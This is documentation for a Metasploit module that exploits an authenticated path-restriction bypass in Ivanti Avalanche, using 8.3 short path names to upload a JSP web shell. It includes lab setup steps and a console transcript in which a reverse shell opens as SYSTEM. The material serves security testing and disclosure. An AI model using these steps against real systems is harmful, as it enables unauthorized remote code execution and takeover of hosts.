## Vulnerable Application

For versions of Ivanti Avalanche below `v6.4.0.186`, an authenticated administrator
can change the default path for the Central FileStore via the Configuration Settings pane.
While the default path is set to `C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files`,
Ivanti Avalanche restricts the path from being set to folders within the `Windows` and
`Program Files` directories. These restrictions do not account for MS-DOS (8.3) path
names, which can be used to set the Central FileStore path to the web root of the application.
This module leverages this vulnerability to upload a JSP web shell and gain RCE as `NT AUTHORITY\SYSTEM`.

### Installation Instructions

The software requires a version of MSSQL Server to be installed. The installation
instructions use MSSQL Server 2012, but 2017 worked for my setup. Ensure that
`SQL Server and Windows Authentication Mode` is selected as the default for
server authentication. This can either be done at installation or via
SQL Server Management Studio, available from https://learn.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms.

1. Open SQL Server Management Studio and connect to the instance
2. Right click on the instance and select `Properties`
3. Click the `Security` page
4. Underneath `Server Authentication`, select `SQL Server and Windows Authentication Mode` and `Ok`.
5. Open SQL Server Configuration Manager -> SQL Server Network Configuration -> Protocols for MSSQLSERVER -> TCP/IP -> Change from Disable to Enabled.
6. SQL Server Configuration Manager -> SQL Server Services -> Stop all Services -> Start just the SQL Server (MSSQLSERVER) service.
7. Go back to SQL Server Management Studio.
8. Security -> Logins -> sa -> Right click -> Select Properties -> Status -> Toggle Login to Enabled -> Ok
9. Execute the following SQL statement in SQL Server Management Studio: `ALTER LOGIN sa WITH PASSWORD = 'theSAUser123';`
10. You should now be able to run the installer and set the hostname to `127.0.0.1`, set the username to `sa`, and the password to `theSAUser123`.
11. Hitting the next button and accept the rest of the defaults.
12. When it comes to setting up the TomCat connectors, be sure to enable the HTTP and HTTPS services and adjust the ports if there are any port conflicts.
13. You should now have a complete install available.

In case the above doesn't work, instructions for installing Ivanti Avalanche can be found [here](https://forums.ivanti.com/s/article/Best-Known-Method-for-installing-Avalanche-6-x-using-MSSQL-Server-2008-R2-Express-DB-or-2012-Express-Advanced?language=en_US)

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload`
4. Do: `set USERNAME <uname>`
5. Do: `set PASSWORD <pass>`
6. Do: `set RHOST <ip>`
7. Do: `run`
8. You should get a shell as `NT AUTHORITY\SYSTEM`.

## Options

### USERNAME

An admin user with which to log into the software

### PASSWORD

Password belonging to admin user

## Scenarios

### Ivanti Avalanche v6.3.4.153 - Windows 10 x64

```
msf > use exploit/windows/http/ivanti_avalanche_filestoreconfig_upload
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set rhost 192.168.140.150
rhost => 192.168.140.150
msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > options

Module options (exploit/windows/http/ivanti_avalanche_filestoreconfig_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   admin            yes       Password to log in with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.140.150  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics
                                         /using-metasploit.html
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /AvalancheWeb    yes       The URI of the Example Application
   USERNAME   amcadmin         yes       User name to log in with
   VHOST                       no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.140.1    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf exploit(windows/http/ivanti_avalanche_filestoreconfig_upload) > run

[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Original FileStore config path: 'C:\Program Files\Wavelink\Avalanche\EnterpriseServer\centralfilestore\files'
[*] Changing FileStore config path to 'C:\PROGRA~1\Wavelink\AVALAN~1\Web'
[+] Successfully uploaded 'LWRrxDXWxhbz.jsp'
[*] Attempting to restore config path
[!] Tried to delete webapps/LWRrxDXWxhbz.jsp, unknown result
[*] Command shell session 1 opened (192.168.140.1:4444 -> 192.168.140.150:50249) at 2023-05-08 14:27:58 -0500
[!] Failed to restore the FileStore config path to its original path. Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.


Shell Banner:
Microsoft Windows [Version 10.0.19041.630]
-----


C:\Program Files\Wavelink\Avalanche\Web>whoami
whoami
nt authority\system

C:\Program Files\Wavelink\Avalanche\Web>
```
